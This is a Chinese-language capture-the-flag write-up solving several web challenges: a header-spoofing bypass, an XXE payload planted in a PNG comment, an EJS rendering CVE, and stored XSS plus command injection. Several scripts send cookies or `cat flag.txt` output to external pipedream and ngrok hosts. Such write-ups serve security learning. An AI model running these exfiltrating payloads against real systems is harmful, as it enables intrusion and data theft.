又到了一月一更的时候了:(

giraffe notes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
<?php
$allowed_ip = ['localhost', '127.0.0.1'];

if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $allowed_ip)) {
$allowed = true;
} else {
$allowed = false;
}
?>

<!DOCTYPE html>
<html>

<head>
<title>Giraffe Notes</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdn.tailwindcss.com?plugins=forms,typography,aspect-ratio,line-clamp"></script>
<script>
tailwind.config = {
darkMode: 'class',
theme: {
extend: {
colors: {
primary: {
"50": "#eff6ff",
"100": "#dbeafe",
"200": "#bfdbfe",
"300": "#93c5fd",
"400": "#60a5fa",
"500": "#3b82f6",
"600": "#2563eb",
"700": "#1d4ed8",
"800": "#1e40af",
"900": "#1e3a8a"
}
}
},
fontFamily: {
'body': [
'Inter',
'ui-sans-serif',
'system-ui',
'-apple-system',
'system-ui',
'Segoe UI',
'Roboto',
'Helvetica Neue',
'Arial',
'Noto Sans',
'sans-serif',
'Apple Color Emoji',
'Segoe UI Emoji',
'Segoe UI Symbol',
'Noto Color Emoji'
],
'sans': [
'Inter',
'ui-sans-serif',
'system-ui',
'-apple-system',
'system-ui',
'Segoe UI',
'Roboto',
'Helvetica Neue',
'Arial',
'Noto Sans',
'sans-serif',
'Apple Color Emoji',
'Segoe UI Emoji',
'Segoe UI Symbol',
'Noto Color Emoji'
]
}
}
}
</script>
</head>

<body class="bg-gray-900 grid h-screen place-items-center">
<?php
if (!$allowed) {
?>
<div class="py-8 px-4 mx-auto max-w-screen-xl lg:py-16 lg:px-6">
<div class="mx-auto text-center">
<h1 class="mb-4 text-7xl tracking-tight font-extrabold lg:text-9xl text-primary-600 text-primary-500">
🦒
</h1>
<p class="mb-4 text-3xl tracking-tight font-bold text-gray-900 md:text-4xl text-white">
Hah! Bet you cant access my notes on giraffes! They're super secure!
</p>
</div>
</div>
<?php
} else {
?>
<section class="bg-gray-900 antialiased">
<div class="max-w-screen-xl px-4 py-8 mx-auto lg:px-6 sm:py-16 lg:py-24">
<div class="max-w-3xl mx-auto text-center">
<h2 class="text-4xl font-extrabold leading-tight tracking-tight text-gray-900 text-white">
Notes
</h2>
<div class="mt-4">
<span class="inline-flex items-center text-lg font-medium text-primary-600 dark:text-primary-500">
I like giraffes
</span>
</div>
</div>
<div class="flow-root max-w-3xl mx-auto mt-8 sm:mt-12 lg:mt-16">
<div class="-my-4 divide-y divide-gray-200 divide-gray-700">
<div class="flex flex-col gap-2 py-4 sm:gap-6 sm:flex-row sm:items-center">
<p class="w-32 text-lg font-normal text-gray-500 sm:text-right text-gray-400 shrink-0">
08:00 - 09:00
</p>
<h3 class="text-lg font-semibold text-gray-900 text-white">
<span>Look at giraffes</span>
</h3>
</div>

<div class="flex flex-col gap-2 py-4 sm:gap-6 sm:flex-row sm:items-center">
<p class="w-32 text-lg font-normal text-gray-500 sm:text-right text-gray-400 shrink-0">
09:00 - 10:00
</p>
<h3 class="text-lg font-semibold text-gray-900 text-white">
<span>Think about giraffes</span>
</h3>
</div>

<div class="flex flex-col gap-2 py-4 sm:gap-6 sm:flex-row sm:items-center">
<p class="w-32 text-lg font-normal text-gray-500 sm:text-right text-gray-400 shrink-0">
10:00 - 11:00
</p>
<h3 class="text-lg font-semibold text-gray-900 text-white">
<span>Learn about giraffes</span>
</h3>
</div>

<div class="flex flex-col gap-2 py-4 sm:gap-6 sm:flex-row sm:items-center">
<p class="w-32 text-lg font-normal text-gray-500 sm:text-right text-gray-400 shrink-0">
11:00 - Infinity
</p>
<h3 class="text-lg font-semibold text-gray-900 text-white">
<span>CACI{placeholder}</span>
</h3>
</div>
</div>
</div>
</div>
</section>
<?php
}
?>
</body>

</html>

签到题目

1
curl -H "X-Forwarded-For: 127.0.0.1" http://chal.competitivecyber.club:8081/

CACI{1_lik3_g1raff3s_4_l0t}

DOMDOM

我的思路(应该也是预期解):

1
传一个png带info Comment,Comment内容就是xxe实体注入,然后在check里面post,url值为meta?image=文件名。这里传png是为了绕allow_ip = request.headers['Host']。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from PIL import Image, ImageDraw, PngImagePlugin

def create_png_with_comment(image_path, comment_text):
# 创建一个简单的RGB图像
img = Image.new('RGB', (100, 100), color=(73, 109, 137))
d = ImageDraw.Draw(img)
d.text((10, 10), "Sample Image", fill=(255, 255, 0))

# 创建 PNG 信息并添加注释
png_info = PngImagePlugin.PngInfo()
png_info.add_text("Comment", comment_text)

# 保存 PNG 图像并附加注释
img.save(image_path, "PNG", pnginfo=png_info)

def read_image_info(image_path):
# 打开图像并读取其信息
with Image.open(image_path) as image:
image_dict = {
"Filename": image.filename,
"Image Size": image.size,
"Comment": image.info.get('Comment') # 对于 PNG,'Comment' 键是大写的
}
return image_dict

# 创建带有注释的 PNG 图像
create_png_with_comment('dragonkeep.png', '<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///app/flag.txt\">]><foo>&xxe;</foo>')

# 读取并打印图像的注释信息
image_info = read_image_info('test_image.png')
print(image_info)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
from concurrent.futures import ThreadPoolExecutor

# 创建会话
s = requests.Session()

# 上传文件的 URL
upload_url = 'http://chal.competitivecyber.club:9090/'
# 上传的文件
file_path = 'dragonkeep.png'

# 上传文件
with open(file_path, 'rb') as f:
files = {'file': f}
upload_response = s.post(upload_url, files=files)

# 检查文件是否上传成功
if upload_response.status_code == 200:
print("File uploaded successfully.")

# 检查是否包含 pctf{ 字符串的函数
def check_response(i):
url = f'http://chal.competitivecyber.club:9090/meta?image=dragonkeep.png{i}'
data = {'url': url}
resp = s.post(url='http://chal.competitivecyber.club:9090/check', data=data)

# 打印响应
print(f"Requested URL: {url} - Status Code: {resp.status_code} - Response: {resp.text[:100]}")

# 检查响应内容
if 'Something wrong!!' not in resp.text:
flag = resp.text # 保存找到的标志
print(f"Found flag: {flag}")

# 写入文件
with open('flag', 'w') as flag_file:
flag_file.write(flag) # 将标志写入文件

return True # 返回 True 表示找到了标志
return False # 返回 False 表示没有找到

# 创建线程池并发送请求
with ThreadPoolExecutor(max_workers=50) as executor: # 设置线程数为120
futures = {executor.submit(check_response, i): i for i in range(0, 90001)}

for future in futures:
if future.result(): # 检查结果是否为 True
break


PCTF{Y0u_D00m3D_U5_Man_So_SAD}

注:这里看到discord上面还有使用修改host字段来绕过的,但是我自己测试了一下没成功。。。

Blob

express框架下的render漏洞

1
2
3
4
require("express")()
.set("view engine", "ejs")
.use((req, res) => res.render("index", { blob: "blob", ...req.query }))
.listen(3000);

CVE-2022-29078

CACI{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}

Open Seasname

最破防的一次。

第一种解法XSS

/api/statsusername可以进行XSS。这里的request.json也是一个坑点,burp发包接收不了,最后只能Python发包。

1
2
3
4
import requests
res = requests.post('http://120.26.139.208:1337/api/stats', json={"username":"<script>window.open('http://120.26.139.208:2444/'+document.cookie)</script>","high_score":"100"})
if res.ok:
print(res.text)

可以执行XSS,但是是https发包,直接使用nc接受是乱码。

赛后发现可以使用pipedream

刚开始没注意到,有httponly

所以直接带cookie使用XMLHttpRequest去请求127.0.0.1:1337(当然也可以直接读取Secret.txt),最后exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
res = requests.post('http://chal.competitivecyber.club:13337/api/stats',
json={"username":'''
xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function ()
{
if (xmlhttp.readyState == 4)
{
window.open('https://eo5ddj27rwms9e7.m.pipedream.net?a=' + xmlhttp.responseText)
}
};
xmlhttp.open('GET', 'http://127.0.0.1:1337/api/cal?modifier=|cat flag.txt', true);
xmlhttp.send();
''',
"high_score":"100"})
if res.ok:
print(res.text)

第二种解法

绕过简单的js过滤即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket

host = 'chal.competitivecyber.club'
port = 13336

payload = "path=api/ca\tl?modifier=5;curl -X POST https://14d3-120-26-139-208.ngrok-free.app/`cat flag.txt` -H 'ngrok-skip-browser-warning':'69420'}"

request = f'''POST /visit HTTP/1.1
Host: chal.competitivecyber.club:13336
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(payload)}

{payload}'''.replace('\n', '\r\n') + '\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(request.encode())

response = s.recv(4096)
print(response.decode())

s.close()

在服务器上起个ngrok,这个也是使用https,但是要记得加头部字段ngrok-skip-browser-warning':'69420'

最后感谢队友的输出,泪目😭